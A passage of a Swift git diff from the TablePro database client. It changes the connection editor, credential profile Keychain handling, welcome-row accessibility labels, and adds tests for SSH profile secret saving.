UndoManager? + var dismissAction: (() -> Void)? + + var storage: ConnectionStorage { services.connectionStorage } + + init( + request: Request, + services: AppServices = .live, + recentConnections: RecentConnectionsStore = .shared, + listPreferences: ConnectionListPreferences = .shared, + cloudSQLProxyDownload: CloudSQLProxyDownload = .shared, + managedPolicy: any ManagedPolicyReading = ManagedPolicyReader.shared + ) { + self.services = services + self.recentConnections = recentConnections + self.listPreferences = listPreferences + self.cloudSQLProxyDownload = cloudSQLProxyDownload + self.managedPolicy = managedPolicy + + let initialType: DatabaseType + switch request { + case .edit(let id): + connectionId = id + isNew = false + initialType = services.connectionStorage.loadConnection(id: id)?.type ?? .mysql + case .new(let type, let parsedURL): + connectionId = UUID() + isNew = true + initialType = parsedURL?.type ?? type ?? .mysql + } + let traits = ConnectionTypeTraits.live(for: initialType, pluginManager: services.pluginManager) + let draft = ConnectionDraft.new(type: initialType, traits: traits) + self.traits = traits + self.draft = draft + self.baseline = draft + self.context = EditorContext() + self.layout = EditorLayout(facets: []) + + load(request) + subscribe() + } + + // MARK: - Writes + + // Every edit goes through here, so layout, issues, dirty state and the test result follow in one place. + func update(_ mutate: (inout ConnectionDraft) -> Void) { + var next = draft + mutate(&next) + commit(next) + } + + func commit(_ next: ConnectionDraft) { + let normalized = ConnectionEditorEngine.normalized(next, traits) + if normalized != draft { + draft = normalized + if pastedURLSnapshot != nil, !isApplyingPaste { + dismissPastedURLNotice() + } + } + refreshDerivedState() + } + + func refreshDerivedState() { + layout = ConnectionEditorEngine.layout(draft, traits, context) + issues = ConnectionEditorEngine.issues(draft, traits, context, layout: layout) + if let dirtyBaseline { + hasUnsavedChanges = dirtyFingerprint() != dirtyBaseline + } + if !layout.facetIDs.contains(selectedFacet) { + selectedFacet = .general + } + invalidateStaleTestResult() + startBinaryDetectionIfNeeded() + refreshPgpassStatus() + } + + func dirtyFingerprint() -> ConnectionEditorEngine.TestFingerprint { + let edits = ConnectionEditorEngine.edits(draft, traits, originalTraits: originalTraits, context) + let secrets = ConnectionEditorEngine.testFingerprint(draft, traits, originalTraits: originalTraits, context).secrets + return ConnectionEditorEngine.TestFingerprint(edits: edits, secrets: secrets) + } + + // MARK: - Issues + + func issues(for facet: ConnectionFacet) -> [FieldIssue] { + issues.filter { $0.facet == facet } + } + + func issues(for row: EditorRow) -> [FieldIssue] { + issues.filter { $0.row == row } + } + + func issue(for row: EditorRow) -> FieldIssue? { + issues.first { $0.row == row } + } + + func facetHasErrors(_ facet: ConnectionFacet) -> Bool { + issues.contains { $0.facet == facet && $0.blocksSave } + } + + var firstBlockingIssue: FieldIssue? { + issues.first(where: \.blocksSave) + } + + var canSave: Bool { !isRecordMissing && firstBlockingIssue == nil } + + var canTest: Bool { !isTesting && !isRecordMissing && !issues.contains(where: \.blocksTest) } + + func focus(on issue: FieldIssue) { + focus(facet: issue.facet, row: issue.row) + } + + func focus(facet: ConnectionFacet, row: EditorRow) { + selectedFacet = facet + focusRequest = FocusRequest(facet: facet, row: row, token: UUID()) + } + + func focusFirstIssue() { + guard let issue = firstBlockingIssue ?? issues.first else { return } + focus(on: issue) + } + + // MARK: - Window + + var windowTitle: String { + let name = draft.name.trimmingCharacters(in: .whitespaces) + if !name.isEmpty { return draft.name } + if !isNew, !baseline.name.isEmpty { return baseline.name } + return String(localized: "New Connection") + } + + var windowSubtitle: String { traits.displayName } + + func cancel() { + dismissAction?() + } + + // Closing the window reaps a running test's staged secrets, which only its own completion deletes otherwise. + func teardown() { + isClosing = true + cancelTest() + for receipt in Array(pendingTestReceipts.values) { + cleanupTestSecrets(receipt) + } + cloudflareLogin = nil + cancellables.removeAll() + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift b/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift index 0d2ceb8042..125e3ae562 100644 --- a/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift +++ b/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift @@ -100,6 +100,60 @@ struct ConnectionFormEdits: Equatable { return result } + // Writes only what changed since `baseline`; typed properties sit over additionalFields keys, so both sides apply first. + func applied(to fresh: DatabaseConnection, since baseline: ConnectionFormEdits?) -> DatabaseConnection { + guard let baseline else { return applied(to: fresh) } + let mine = applied(to: fresh) + let theirs = baseline.applied(to: fresh) + var result = fresh + + func merge(_ keyPath: WritableKeyPath) { + if mine[keyPath: keyPath] != theirs[keyPath: keyPath] { + result[keyPath: keyPath] = mine[keyPath: keyPath] + } + } + merge(\.name) + merge(\.host) + merge(\.port) + merge(\.database) + merge(\.username) + merge(\.type) + merge(\.sslConfig) + merge(\.color) + merge(\.iconName) + merge(\.tagIds) + merge(\.groupId) + merge(\.credentialMode) + merge(\.cloudflareTunnelMode) + merge(\.cloudSQLProxyMode) + merge(\.socksProxyMode) + merge(\.tunnelCommandMode) + merge(\.preferredSafeModeLevel) + merge(\.aiPolicy) + merge(\.aiRules) + merge(\.externalAccess) + merge(\.redisDatabase) + merge(\.startupCommands) + merge(\.localOnly) + + // One tunnel description: a half-merged trio would name a profile with another tunnel's settings. + if mine.sshConfig != theirs.sshConfig + || mine.sshProfileId != theirs.sshProfileId + || mine.sshTunnelMode != theirs.sshTunnelMode { + result.sshConfig = mine.sshConfig + result.sshProfileId = mine.sshProfileId + result.sshTunnelMode = mine.sshTunnelMode + } + + for key in Set(mine.additionalFields.keys).union(theirs.additionalFields.keys) + where mine.additionalFields[key] != theirs.additionalFields[key] { + result.additionalFields[key] = mine.additionalFields[key] + } + + result.aiAlwaysAllowedTools.subtract(revokedAIAlwaysAllowedTools) + return result + } + private func mergedAdditionalFields(onto existing: [String: String]) -> [String: String] { var merged = existing for id in ownedAdditionalFieldIDs { diff --git a/apple/TablePro/Views/Settings/Profiles/CredentialProfileEditorSheet.swift b/apple/TablePro/Views/Settings/Profiles/CredentialProfileEditorSheet.swift index a7b87f66f0..a8e3950c5e 100644 --- a/apple/TablePro/Views/Settings/Profiles/CredentialProfileEditorSheet.swift +++ b/apple/TablePro/Views/Settings/Profiles/CredentialProfileEditorSheet.swift @@ -6,15 +6,12 @@ import SwiftUI import TableProPluginKit -/// One credential profile: the name every connection picks it by, the username, and where the -/// password comes from. struct CredentialProfileEditorSheet: View { @Environment(\.dismiss) private var dismiss let existingProfile: CredentialProfile? var initialPassword: String? - /// Which engine's secrets to offer first, so a profile promoted from a Postgres connection - /// does not open on MySQL's fields. + // Which engine's secrets to offer first, so a profile promoted from a Postgres connection opens on Postgres. var initialDatabaseType: DatabaseType? var onSave: ((CredentialProfile) -> Void)? var onDelete: (() -> Void)? @@ -22,7 +19,7 @@ struct CredentialProfileEditorSheet: View { @State private var name: String = "" @State private var username: String = "" @State private var passwordKind: PasswordKind = .stored - @State private var password: String = "" + @State private var password = StoredSecretDraft(stored: .absent) @State private var passwordWasPrefilled = false @State private var sourceKind: PasswordSourceKind = .file @State private var sourceValue: String = "" @@ -31,23 +28,22 @@ struct CredentialProfileEditorSheet: View { @State private var vaultAccess = VaultAccessDraft() // A new profile keeps this id when saved, so its first connect signs in as the user Test Source leased. @State private var draftProfileId = UUID() + @State private var savedSortOrder: Int? + @State private var secretTypes: [DatabaseType] = [] @State private var secureFieldType: DatabaseType = .mysql - @State private var secureFieldValues: [String: String] = [:] + @State private var secretLayout = ProfileSecretLayout(fields: []) + @State private var secretMethod: String? + @State private var secureFieldDrafts: [String: StoredSecretDraft] = [:] + @State private var secureFieldLabels: [String: String] = [:] @State private var showingDeleteConfirmation = false @State private var dependentCount = 0 @State private var saveError: String? - /// Read once when the sheet opens. `body` reads `nameIsUnique` and `isStored` several times per - /// pass, and each one used to decode the whole profiles file off disk, on every keystroke. + // Read once on appear: body reads these several times a pass and each read decoded the profiles file. @State private var otherProfileNames: [String] = [] @State private var isStored = false - @State private var secureFields: [ConnectionField] = [] - /// False when a keychain read failed rather than finding nothing. Saving then must not - /// treat an empty field as the user clearing a secret: a rename while the keychain was - /// locked would delete the password of every connection on the profile. - @State private var secretsWereReadable = true private var storage: CredentialProfileStorage { .shared } @@ -66,8 +62,7 @@ struct CredentialProfileEditorSheet: View { passwordKind == .source && sourceKind.suppliesUsername } - /// Two profiles with one name are indistinguishable in every picker that offers them, which is - /// the reason the system's own profile editors refuse it. + // Two profiles with one name cannot be told apart in any picker that offers them. private var nameIsUnique: Bool { !otherProfileNames.contains { $0.compare(trimmedName, options: [.caseInsensitive, .diacriticInsensitive]) == .orderedSame @@ -76,6 +71,14 @@ struct CredentialProfileEditorSheet: View { var body: some View { VStack(spacing: 0) { + ProfileSheetHeader( + title: isStored + ? String(localized: "Edit Credential Profile") + : String(localized: "New Credential Profile"), + subtitle: String(localized: "Connections that use this profile sign in with these credentials.") + ) + Divider() + Form { Section(String(localized: "Profile")) { TextField(String(localized: "Name"), text: $name, prompt: Text("Production reader")) @@ -93,14 +96,6 @@ struct CredentialProfileEditorSheet: View { .accessibilityIdentifier("credential-profile-username") } - if !secretsWereReadable { - Section { - NoticeLabel( - String(localized: "The Keychain could not be read, so the stored secrets are not shown. Editing the name is safe; they are left as they are.") - ) - .font(.caption) - } - } passwordSection secureFieldsSection } @@ -109,7 +104,7 @@ struct CredentialProfileEditorSheet: View { Divider() bottomBar } - .frame(minWidth: 480, minHeight: 420, idealHeight: 460) + .frame(minWidth: 520, minHeight: 460, idealHeight: 540) .onAppear(perform: load) } @@ -129,9 +124,10 @@ struct CredentialProfileEditorSheet: View { case .stored: RevealablePasswordField( title: String(localized: "Password"), - text: $password, + text: $password.text, requiresAuthentication: passwordWasPrefilled ) + StoredSecretNotice(draft: $password) case .prompt: Text("Every connection using this profile asks for the password once each time TablePro runs.") .font(.caption) @@ -301,18 +297,32 @@ struct CredentialProfileEditorSheet: View { private var secureFieldsSection: some View { Section { Picker(String(localized: "For"), selection: $secureFieldType) { - ForEach(DatabaseType.allKnownTypes, id: \.self) { type in - Text(type.rawValue).tag(type) + ForEach(secretTypes, id: \.self) { type in + Text(type.displayName).tag(type) } } .onChange(of: secureFieldType) { _ in reloadSecureFields() } - if secureFields.isEmpty { - Text("This database type signs in with the username and password above.") + + if let methodField = secretLayout.methodField { + Picker(methodField.label, selection: $secretMethod) { + ForEach(secretLayout.methods) { method in + Text(method.label).tag(String?.some(method.value)) + } + } + .accessibilityIdentifier("credential-profile-secret-method") + } + + let shown = secretLayout.fields(for: secretMethod) + if shown.isEmpty { + Text(secretLayout.methodField == nil + ? String(localized: "This database type signs in with the username and password above.") + : String(localized: "Nothing else to store for this sign-in method.")) .font(.caption) .foregroundStyle(.secondary) } else { - ForEach(secureFields, id: \.id) { field in - ConnectionFieldRow(field: field, value: secureFieldBinding(for: field)) + ForEach(shown, id: \.id) { field in + ConnectionFieldRow(field: field, value: secureFieldTextBinding(for: field)) + StoredSecretNotice(draft: secureFieldDraftBinding(for: field)) } } } header: { @@ -325,23 +335,42 @@ struct CredentialProfileEditorSheet: View { } private func reloadSecureFields() { - secureFields = PluginManager.shared.additionalConnectionFields(for: secureFieldType).filter(\.isSecure) + let fields = PluginManager.shared.additionalConnectionFields(for: secureFieldType) + secretLayout = ProfileSecretLayout(fields: fields) + for field in fields where field.isSecure { + secureFieldLabels[field.id] = field.label + } + let held = Set(secureFieldDrafts.filter { $0.value.stored != .absent || !$0.value.text.isEmpty }.keys) + secretMethod = secretLayout.initialMethod(holding: held) + } + + private func secureFieldTextBinding(for field: ConnectionField) -> Binding { + Binding( + get: { secureFieldDrafts[field.id]?.text ?? "" }, + set: { secureFieldDrafts[field.id, default: StoredSecretDraft(stored: .absent)].text = $0 } + ) } - private func secureFieldBinding(for field: ConnectionField) -> Binding { + private func secureFieldDraftBinding(for field: ConnectionField) -> Binding { Binding( - get: { secureFieldValues[field.id] ?? "" }, - set: { secureFieldValues[field.id] = $0 } + get: { secureFieldDrafts[field.id] ?? StoredSecretDraft(stored: .absent) }, + set: { secureFieldDrafts[field.id] = $0 } ) } + private static func typesWithSecrets() -> [DatabaseType] { + DatabaseType.allKnownTypes + .filter { type in PluginManager.shared.additionalConnectionFields(for: type).contains(where: \.isSecure) } + .sorted { $0.displayName.localizedStandardCompare($1.displayName) == .orderedAscending } + } + // MARK: - Bottom bar private var bottomBar: some View { HStack { if isStored { Button(role: .destructive) { - dependentCount = storage.connectionsUsing(existingProfile?.id ?? UUID()).count + dependentCount = storage.connectionsUsing(profileId).count showingDeleteConfirmation = true } label: { Text("Delete Profile") @@ -352,7 +381,7 @@ struct CredentialProfileEditorSheet: View { Button(String(localized: "Cancel"), role: .cancel) {} } message: { if dependentCount > 0 { - Text("^[\(dependentCount) connection](inflect: true) use this profile. They keep these credentials as their own.") + Text("Used by ^[\(dependentCount) connection](inflect: true). Each keeps these credentials as its own.") } else { Text("This profile will be permanently deleted.") } @@ -362,7 +391,7 @@ struct CredentialProfileEditorSheet: View { if let saveError { NoticeLabel(saveError, severity: .error) .font(.caption) - .lineLimit(2) + .lineLimit(3) } Spacer() @@ -384,93 +413,116 @@ struct CredentialProfileEditorSheet: View { let profiles = storage.loadProfiles() otherProfileNames = profiles.filter { $0.id != existingProfile?.id }.map { $0.name } isStored = existingProfile.map { candidate in profiles.contains { $0.id == candidate.id } } ?? false - if let initialDatabaseType { - secureFieldType = initialDatabaseType - } - reloadSecureFields() + secretTypes = Self.typesWithSecrets() + + if let profile = existingProfile { + name = profile.name + username = profile.username + // Only a saved profile can hold an item, so a miss on a new one is not a failed read. + for fieldId in profile.secureFieldIds { + secureFieldDrafts[fieldId] = StoredSecretDraft( + stored: Self.stored(storage.loadSecureField(fieldId: fieldId, for: profile.id), expected: isStored) + ) + } - guard let profile = existingProfile else { return } - name = profile.name - username = profile.username - for fieldId in profile.secureFieldIds { - if let value = storage.loadSecureField(fieldId: fieldId, for: profile.id) { - secureFieldValues[fieldId] = value - } else { - secretsWereReadable = false + switch profile.passwordMode { + case .stored: + passwordKind = .stored + password = StoredSecretDraft( + stored: Self.stored(storage.loadPassword(for: profile.id), expected: isStored), + fallback: initialPassword + ) + passwordWasPrefilled = !password.text.isEmpty + case .prompt: + passwordKind = .prompt + case .pgpass: + passwordKind = .pgpass + case .source(let source): + passwordKind = .source + (sourceKind, sourceValue, sourceField) = PasswordSourceKind.decompose(source) + if case .command(_, let reuseSeconds) = source { + commandReuseSeconds = reuseSeconds + } + if let role = source.vaultDatabaseRole { + vaultAccess = VaultAccessDraft(role) + } } } - switch profile.passwordMode { - case .stored: - passwordKind = .stored - if let stored = storage.loadPassword(for: profile.id) { - password = stored - } else if let initialPassword { - password = initialPassword - } else if isStored { - secretsWereReadable = false - } - passwordWasPrefilled = !password.isEmpty - case .prompt: - passwordKind = .prompt - case .pgpass: - passwordKind = .pgpass - case .source(let source): - passwordKind = .source - (sourceKind, sourceValue, sourceField) = PasswordSourceKind.decompose(source) - if case .command(_, let reuseSeconds) = source { - commandReuseSeconds = reuseSeconds - } - if let role = source.vaultDatabaseRole { - vaultAccess = VaultAccessDraft(role) - } + if let initialDatabaseType { + secureFieldType = initialDatabaseType + } else if let carrying = secretTypes.first(where: { type in + PluginManager.shared.additionalConnectionFields(for: type) + .contains { $0.isSecure && secureFieldDrafts[$0.id] != nil } + }) { + secureFieldType = carrying + } else if let first = secretTypes.first { + secureFieldType = first } + if !secretTypes.contains(secureFieldType) { + secretTypes.insert(secureFieldType, at: 0) + } + reloadSecureFields() + } + + // The storage reads nil both for a missing item and for one it could not read; a saved one is assumed there. + private static func stored(_ value: String?, expected: Bool) -> StoredSecretDraft.Stored { + guard let value else { return expected ? .unreadable : .absent } + return value.isEmpty ? .absent : .value(value) } + // Record first, then secrets, as the connection editor saves: a secret under an unsaved id has no owner. private func saveProfile() { - let liveFields = secureFieldValues.filter { !$0.value.isEmpty } + let passwordChange = password.change(inUse: passwordKind == .stored) + let fieldIds = secureFieldDrafts.keys.sorted() let profile = CredentialProfile( id: profileId, name: trimmedName, username: username.trimmingCharacters(in: .whitespaces), passwordMode: buildPasswordMode(), - secureFieldIds: secretsWereReadable - ? liveFields.keys.sorted() - : Array(Set(existingProfile?.secureFieldIds ?? []).union(liveFields.keys)).sorted(), - sortOrder: existingProfile?.sortOrder ?? 0 + secureFieldIds: fieldIds.filter { secureFieldDrafts[$0]?.keepsItem(inUse: true) ?? false }, + sortOrder: existingProfile?.sortOrder ?? savedSortOrder ?? 0 ) let persisted = isStored ? storage.updateProfile(profile) : storage.addProfile(profile) - /// The keychain writes below are keyed by the profile id, so running them for a profile - /// that never reached disk would leave secrets nothing can name. guard persisted else { saveError = String(localized: "Could not save the profile. Check disk space and permissions, then try again.") return } - saveError = nil + if !isStored { + isStored = true + savedSortOrder = storage.profile(for: profileId)?.sortOrder + } - if case .stored = profile.passwordMode, !password.isEmpty { - guard storage.savePassword(password, for: profileId) else { - saveError = String(localized: "Could not save the password to the Keychain. Nothing was changed.") - return + var notStored: [String] = [] + switch passwordChange { + case .keep: + break + case .write(let value): + if !storage.savePassword(value, for: profileId) { + notStored.append(String(localized: "the password")) } - } else if secretsWereReadable { + case .delete: storage.deletePassword(for: profileId) } - - /// Only what was read back is eligible for deletion. A field whose value could not be read - /// is still there and still in use. - if secretsWereReadable { - let removed = Set(existingProfile?.secureFieldIds ?? []).subtracting(liveFields.keys) - for fieldId in removed { + for fieldId in fieldIds { + switch secureFieldDrafts[fieldId]?.change(inUse: true) ?? .keep { + case .keep: + continue + case .write(let value): + if !storage.saveSecureField(value, fieldId: fieldId, for: profileId) { + notStored.append(secureFieldLabels[fieldId] ?? fieldId) + } + case .delete: storage.deleteSecureField(fieldId: fieldId, for: profileId) } } - for (fieldId, value) in liveFields where !storage.saveSecureField(value, fieldId: fieldId, for: profileId) { - saveError = String(localized: "Could not save a secret to the Keychain. Nothing was changed.") + + guard notStored.isEmpty else { + saveError = StoredSecretCopy.notStoredMessage(notStored) return } - + saveError = nil onSave?(profile) dismiss() } @@ -502,7 +554,7 @@ struct CredentialProfileEditorSheet: View { } private func deleteProfile() { - guard let profile = existingProfile else { return } + guard let profile = existingProfile ?? storage.profile(for: profileId) else { return } guard storage.deleteProfile(profile) else { saveError = String(localized: "Could not delete the profile. Check disk space and permissions, then try again.") return @@ -515,6 +567,7 @@ struct CredentialProfileEditorSheet: View { // MARK: - Kinds extension CredentialProfileEditorSheet { + // Same words as the connection editor's password menu. enum PasswordKind: String, CaseIterable, Identifiable { case stored, prompt, pgpass, source @@ -522,11 +575,76 @@ extension CredentialProfileEditorSheet { var displayName: String { switch self { - case .stored: String(localized: "Saved in the Keychain") - case .prompt: String(localized: "Ask every time") - case .pgpass: String(localized: "~/.pgpass") - case .source: String(localized: "Read from elsewhere") + case .stored: String(localized: "Store in Keychain") + case .prompt: String(localized: "Ask Every Time") + case .pgpass: String(localized: "Use ~/.pgpass") + case .source: String(localized: "Read From Elsewhere") + } + } + } +} + +// Profiles carry no database type, so the sheet lists one type's secrets at a time, and the ones a +// sign-in method needs (AWS, Google Cloud, Kerberos) only under that method, as the editor shows them. +struct ProfileSecretLayout { + struct Method: Identifiable { + let value: String + let label: String + var id: String { value } + } + + let alwaysShown: [ConnectionField] + let methodField: ConnectionField? + let methods: [Method] + private let byMethod: [String: [ConnectionField]] + + init(fields: [ConnectionField]) { + let secure = fields.filter(\.isSecure) + var counts: [String: Int] = [:] + var order: [String] = [] + for controllerId in secure.compactMap({ $0.visibleWhen?.fieldId }) { + if counts[controllerId] == nil { order.append(controllerId) } + counts[controllerId, default: 0] += 1 + } + let controllerId = order.max { (counts[$0] ?? 0) < (counts[$1] ?? 0) } + guard let controllerId, + let controller = fields.first(where: { $0.id == controllerId }), + case .dropdown(let options) = controller.fieldType + else { + alwaysShown = secure + methodField = nil + methods = [] + byMethod = [:] + return + } + + alwaysShown = secure.filter { $0.visibleWhen?.fieldId != controllerId } + methodField = controller + methods = options.map { Method(value: $0.value, label: $0.label) } + var grouped: [String: [ConnectionField]] = [:] + for option in options { + grouped[option.value] = secure.filter { field in + guard let rule = field.visibleWhen, rule.fieldId == controllerId else { return false } + return rule.values.contains(option.value) } } + byMethod = grouped + } + + func fields(for method: String?) -> [ConnectionField] { + alwaysShown + (method.flatMap { byMethod[$0] } ?? []) + } + + // The method whose secrets the profile already holds, else the menu's own default. + func initialMethod(holding fieldIds: Set) -> String? { + guard let methodField else { return nil } + let holding = methods.first { method in + (byMethod[method.value] ?? []).contains { fieldIds.contains($0.id) } + } + if let holding { return holding.value } + if let fallback = methodField.defaultValue, methods.contains(where: { $0.value == fallback }) { + return fallback + } + return methods.first?.value } } diff --git a/apple/TablePro/Views/Welcome/WelcomeOutlineRows.swift b/apple/TablePro/Views/Welcome/WelcomeOutlineRows.swift index 8ee53fc4c7..6c99b2cc36 100644 --- a/apple/TablePro/Views/Welcome/WelcomeOutlineRows.swift +++ b/apple/TablePro/Views/Welcome/WelcomeOutlineRows.swift @@ -59,7 +59,7 @@ internal struct ConnectionTile: View { if let identityColor { image.foregroundStyle(Color.legibleForeground(on: identityColor.color)) } else { - image.selectionAwareTint(type.themeColor) + image.selectionAwareTint(Color(nsColor: ConnectionTileMetrics.glyphColor(brand: NSColor(type.themeColor)))) } } @@ -131,7 +131,9 @@ internal struct WelcomeConnectionRow: View { } .padding(.trailing, 8) .help(model.tooltip) - .accessibilityElement(children: .combine) + .accessibilityElement(children: .ignore) + .accessibilityLabel(Text(model.accessibilityLabel)) + .accessibilityValue(Text(model.accessibilityValue)) } } @@ -140,6 +142,8 @@ private struct WelcomeConnectionAccessories: View { var body: some View { HStack(spacing: 6) { + ConnectionEnvironmentLabel(environment: model.environment) + if model.isDriverRejected { Image(systemName: "exclamationmark.triangle.fill") .imageScale(.small) @@ -182,6 +186,28 @@ private struct WelcomeConnectionLabels: View { } } +internal struct ConnectionEnvironmentLabel: View { + let environment: ConnectionEnvironment + + var body: some View { + if let symbolName = environment.symbolName, let spokenName = environment.accessibilityName { + HStack(spacing: 3) { + Image(systemName: symbolName) + .imageScale(.small) + .selectionAwareTint(environment.tint) + .accessibilityHidden(true) + Text(environment.displayName) + .font(.caption) + .foregroundStyle(.secondary) + .lineLimit(1) + } + .fixedSize() + .accessibilityElement(children: .ignore) + .accessibilityLabel(Text(spokenName)) + } + } +} + internal struct ConnectionSymbolLabel: View { let label: WelcomeTagLabel diff --git a/apple/TablePro/Views/Welcome/WelcomeRowPresentation.swift b/apple/TablePro/Views/Welcome/WelcomeRowPresentation.swift index a411e2e534..62516f3887 100644 --- a/apple/TablePro/Views/Welcome/WelcomeRowPresentation.swift +++ b/apple/TablePro/Views/Welcome/WelcomeRowPresentation.swift @@ -23,8 +23,7 @@ internal struct WelcomeGroupRowModel: Equatable { internal let connectionCount: Int } -/// Shared by tags and groups, so each label carries its own symbol: a group draws the icon it was -/// given, a tag always draws the tag. +// Shared by tags and groups: a group draws the icon it was given, a tag always draws the tag. internal struct WelcomeTagLabel: Hashable { internal let name: String internal let color: ConnectionColor @@ -38,6 +37,7 @@ internal struct WelcomeConnectionRowModel: Equatable { internal let type: DatabaseType internal let iconName: String? internal let identityColor: ConnectionColor? + internal let environment: ConnectionEnvironment internal let tags: [WelcomeTagLabel] internal let hiddenTagCount: Int internal let groupLabel: WelcomeTagLabel? @@ -46,6 +46,26 @@ internal struct WelcomeConnectionRowModel: Equatable { internal let tooltip: String // Part of the model so a reload hands a reused row a changed value; status has no observable home. internal let status: ConnectionDisplayStatus + + // The tile is hidden from VoiceOver, so the label names the engine a custom icon may replace. + internal var accessibilityLabel: String { + [name, type.displayName, environment.accessibilityName] + .compactMap { $0 } + .joined(separator: ", ") + } + + internal var accessibilityValue: String { + let presentation = ConnectionStatusPresentation(status) + var parts: [String] = [] + if isDriverRejected { parts.append(String(localized: "Plugin not loaded")) } + if isLocalOnly { parts.append(String(localized: "Local only")) } + if presentation.symbol != nil { parts.append(presentation.accessibilityStatus) } + parts.append(detail) + if let groupLabel { parts.append(groupLabel.name) } + parts.append(contentsOf: tags.map(\.name)) + if hiddenTagCount > 0 { parts.append(String(format: String(localized: "+%lld"), Int64(hiddenTagCount))) } + return parts.filter { !$0.isEmpty }.joined(separator: ", ") + } } internal enum WelcomeSortOption: CaseIterable { @@ -107,9 +127,7 @@ internal enum WelcomeRowPresentation { internal static let renameGlyphSide: CGFloat = 16 - /// An image rather than a symbol name, because most engine logos are assets. An asset comes at - /// its SVG artboard size (2500pt for one), and the rename field's image view is constrained in - /// width only, so it would take that as its height. + // An asset logo comes at its artboard size, which the width-only rename image view takes as its height. internal static func renameGlyph(for connection: DatabaseConnection) -> NSImage? { guard let image = LibraryGlyph.connectionNSImage( type: connection.type, @@ -143,6 +161,7 @@ internal enum WelcomeRowPresentation { type: connection.type, iconName: connection.iconName, identityColor: connection.identityColor, + environment: ConnectionEnvironment.stored(in: connection.additionalFields), tags: Array(labels.prefix(visibleTagLimit)), hiddenTagCount: max(0, labels.count - visibleTagLimit), groupLabel: section == .connections ? nil : group.map { groupLabel($0) }, @@ -170,6 +189,7 @@ internal enum WelcomeRowPresentation { type: type, iconName: LibrarySymbolCatalog.normalizedName(exportable.iconName), identityColor: exportable.color.flatMap { ConnectionColor(rawValue: $0) }.flatMap { $0.isDefault ? nil : $0 }, + environment: ConnectionEnvironment.stored(in: exportable.additionalFields), tags: [], hiddenTagCount: 0, groupLabel: nil, diff --git a/apple/TableProTests/Core/Storage/SSHProfileSecretSaveTests.swift b/apple/TableProTests/Core/Storage/SSHProfileSecretSaveTests.swift new file mode 100644 index 0000000000..5f1693f036 --- /dev/null +++ b/apple/TableProTests/Core/Storage/SSHProfileSecretSaveTests.swift @@ -0,0 +1,147 @@ +// +// SSHProfileSecretSaveTests.swift +// TableProTests +// + +import Foundation +import TableProSSHConfig +import TableProSyncTransport +import Testing + +@testable import TablePro + +// The SSH profile sheet saves through `SSHProfileStorage.save`: record first, then each secret as its draft says. +@MainActor +struct SSHProfileSecretSaveTests { + private let pool = EphemeralDefaultsPool() + private let keychain = ScopeRecordingKeychain() + private let metadata: SyncMetadataStorage + private let connections: ConnectionStorage + private let storage: SSHProfileStorage + + init() throws { + let fileURL = FileManager.default.temporaryDirectory + .appendingPathComponent("tablepro-tests") + .appendingPathComponent(UUID().uuidString) + .appendingPathComponent("connections.json") + try? FileManager.default.createDirectory( + at: fileURL.deletingLastPathComponent(), + withIntermediateDirectories: true + ) + metadata = SyncMetadataStorage(userDefaults: try pool.make().defaults) + let tracker = SyncChangeTracker(metadataStorage: metadata) + let connectionStorage = ConnectionStorage( + fileURL: fileURL, + userDefaults: try pool.make().defaults, + syncTracker: tracker, + keychain: keychain + ) + connections = connectionStorage + storage = SSHProfileStorage( + userDefaults: try pool.make().defaults, + keychain: keychain, + syncTracker: tracker, + connectionStorage: connectionStorage + ) + } + + private static func passwordKey(_ id: UUID) -> String { "com.TablePro.sshprofile.password.\(id.uuidString)" } + private static func passphraseKey(_ id: UUID) -> String { "com.TablePro.sshprofile.keypassphrase.\(id.uuidString)" } + private static func totpKey(_ id: UUID) -> String { "com.TablePro.sshprofile.totpsecret.\(id.uuidString)" } + + private func makeProfile(authMethod: SSHAuthMethod = .password) -> SSHProfile { + SSHProfile(name: "Bastion", host: "bastion.example.com", port: 22, username: "deploy", authMethod: authMethod) + } + + private func drafts(for id: UUID) -> [SSHProfileStorage.SecretKind: StoredSecretDraft] { + var drafts: [SSHProfileStorage.SecretKind: StoredSecretDraft] = [:] + for kind in SSHProfileStorage.SecretKind.allCases { + drafts[kind] = StoredSecretDraft(stored: storage.storedSecret(kind, for: id)) + } + return drafts + } + + @Test("A locked Keychain reads as unreadable, a missing item as absent") + func storedSecretTellsLockedFromMissing() { + let profile = makeProfile() + #expect(storage.storedSecret(.password, for: profile.id) == .absent) + + keychain.seedSynced("hunter2", forKey: Self.passwordKey(profile.id)) + #expect(storage.storedSecret(.password, for: profile.id) == .value("hunter2")) + + keychain.makeUnreadable(Self.passwordKey(profile.id)) + #expect(storage.storedSecret(.password, for: profile.id) == .unreadable) + } + + @Test("Renaming a profile while the Keychain is locked keeps every secret") + func lockedKeychainRenameKeepsSecrets() { + var profile = makeProfile(authMethod: .privateKey) + #expect(storage.addProfile(profile)) + keychain.seedSynced("hunter2", forKey: Self.passwordKey(profile.id)) + keychain.seedSynced("phrase", forKey: Self.passphraseKey(profile.id)) + keychain.seedSynced("BASE32", forKey: Self.totpKey(profile.id)) + for key in [Self.passwordKey(profile.id), Self.passphraseKey(profile.id), Self.totpKey(profile.id)] { + keychain.makeUnreadable(key) + } + + let loaded = drafts(for: profile.id) + profile.name = "Bastion EU" + let outcome = storage.save(profile, isNew: false, secrets: [ + .password: loaded[.password]?.change(inUse: false) ?? .keep, + .keyPassphrase: loaded[.keyPassphrase]?.change(inUse: true) ?? .keep, + .totpSecret: loaded[.totpSecret]?.change(inUse: false) ?? .keep, + ]) + + #expect(outcome == .saved) + #expect(storage.profile(for: profile.id)?.name == "Bastion EU") + #expect(keychain.syncedValue(forKey: Self.passwordKey(profile.id)) == "hunter2") + #expect(keychain.syncedValue(forKey: Self.passphraseKey(profile.id)) == "phrase") + #expect(keychain.syncedValue(forKey: Self.totpKey(profile.id)) == "BASE32") + } + + @Test("Remove deletes a secret the Keychain could not read") + func removeDeletesAnUnreadableSecret() { + let profile = makeProfile() + #expect(storage.addProfile(profile)) + keychain.seedSynced("hunter2", forKey: Self.passwordKey(profile.id)) + keychain.makeUnreadable(Self.passwordKey(profile.id)) + + var password = StoredSecretDraft(stored: storage.storedSecret(.password, for: profile.id)) + password.removesUnreadable = true + + #expect(storage.save(profile, isNew: false, secrets: [.password: password.change(inUse: true)]) == .saved) + #expect(keychain.syncedValue(forKey: Self.passwordKey(profile.id)) == nil) + } + + @Test("A refused Keychain write is reported after the record is 